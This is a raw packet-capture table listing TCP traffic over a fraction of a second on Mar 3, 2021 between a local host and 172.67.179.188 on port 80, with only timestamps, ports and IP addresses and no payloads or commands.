Mar 3, 2021 07:32:37.401814938 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.402614117 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.402642965 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.402664900 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.402688980 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.402731895 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.403551102 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.403577089 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.403598070 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.403613091 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.403651953 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.404149055 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.404177904 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.404197931 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.404217958 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.404251099 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.404282093 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.405072927 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.405101061 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.405121088 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.405145884 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.405194998 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.405213118 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.405953884 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.405981064 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.405997038 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.406018019 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.406438112 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.406656981 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.406682968 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.406702042 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.406721115 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.406740904 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.406759024 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.406805038 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.407602072 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.407632113 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.407654047 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.407676935 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.407696962 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.407716990 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.407738924 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.408548117 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.408577919 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.408598900 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.408618927 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.408641100 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.408674955 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.408693075 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.409465075 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.409497023 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.409519911 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.409540892 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.409564018 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.409591913 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.409612894 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.410383940 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.410413027 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.410434961 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.410455942 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.410478115 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.410516024 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.410536051 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.411293030 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.411323071 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.411346912 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.411370039 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.411391020 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.411426067 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.411434889 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.412199974 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.412230968 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.412252903 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.412277937 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.412287951 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.412302017 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.412327051 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.413103104 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.413131952 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.413153887 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.413176060 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.413199902 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.413202047 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.413229942 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.413255930 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.413979053 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.414009094 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.414027929 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.414052010 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.414092064 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.414117098 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.414669991 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.414699078 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.414722919 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.414751053 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.414774895 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.414800882 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.414825916 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.415556908 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.415585995 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.415607929 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.415637970 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.415657043 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.415693045 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.415709019 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.416277885 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.416305065 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.416325092 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.416344881 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.416368961 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.416384935 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.416389942 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.416399956 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.416434050 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.417172909 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.417207003 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.417228937 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.417248964 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.417268991 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.417288065 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.417319059 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.417334080 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.417336941 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.418091059 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.418123960 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.418148041 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.418171883 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.418194056 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.418216944 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.418216944 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.418239117 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.418270111 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.418929100 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.418960094 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.418987036 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.419009924 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.419015884 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.419034958 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.419058084 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.419064999 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.419111967 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.419776917 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.419810057 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.419835091 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.419857979 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.419881105 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.419894934 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.419903994 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.419958115 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.419967890 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.420645952 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.420675993 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.420698881 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.420721054 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.420727968 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.420743942 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.420759916 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.420764923 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.420820951 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.421528101 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.421560049 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.421583891 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.421607018 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.421633959 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.421655893 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.421657085 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.421674013 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.421700001 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.422379971 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.422414064 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.422436953 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.422457933 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.422481060 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.422499895 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.422504902 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.422549009 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.423247099 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.423275948 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.423299074 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.423321009 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.423341990 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.423342943 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.423366070 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.423373938 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.423404932 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.424110889 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.424146891 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.424170971 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.424192905 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.424215078 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.424237013 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.424269915 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.424278975 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.424963951 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.424992085 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.425012112 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.425031900 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.425051928 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.425072908 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.425076008 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.425092936 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.425113916 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.425837040 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.425863981 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.425883055 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.425903082 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.425920963 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.425942898 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.425944090 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.425986052 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.427378893 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.427412033 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.427432060 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.427493095 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.447915077 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.447954893 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.447978973 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.448005915 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.448015928 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.448030949 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.448054075 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.448069096 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.448076010 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.448115110 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.448249102 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.448270082 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.448291063 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.448312998 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.448338032 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.448362112 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.448369980 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.448384047 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.448421955 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.449157953 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.449191093 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.449268103 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.449328899 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.449353933 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.449374914 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.449410915 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.449420929 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.449433088 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.449454069 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.449476957 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.449502945 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.449518919 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.450269938 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.450299978 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.450320005 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.450339079 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.450359106 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.450366974 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.450380087 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.450402975 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.450402975 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.450428009 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.451154947 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.451183081 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.451203108 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.451221943 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.451241016 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.451260090 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.451265097 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.451287031 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.451294899 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.451351881 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.452033997 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.452064037 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.452086926 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.452110052 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.452132940 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.452142000 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.452155113 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.452178001 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.452181101 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.452198982 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.452953100 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.452984095 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.453006983 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.453031063 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.453038931 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.453053951 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.453078032 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.453078985 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.453099012 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.453099966 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.453145981 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.453793049 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.453825951 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.453849077 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.453870058 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.453880072 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.453891993 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.453913927 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.453936100 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.453953981 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.454674006 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.454703093 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.454729080 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.454754114 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.454776049 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.454782963 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.454797029 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.454798937 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.454818964 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.454837084 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.454868078 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.455516100 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.455545902 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.455571890 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.455595970 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.455605984 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.455625057 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.455650091 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.455657959 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.455672979 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.455694914 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.455696106 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.455750942 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.456473112 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.456501007 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.456522942 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.456546068 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.456566095 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.456574917 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.456590891 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.456612110 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.456617117 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.456631899 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.456639051 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.456897974 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.457443953 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.457472086 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.457499027 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.457523108 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.457540989 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.457575083 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.457907915 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.457935095 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.457961082 CET	80	49741	172.67.179.188	192.168.2.4
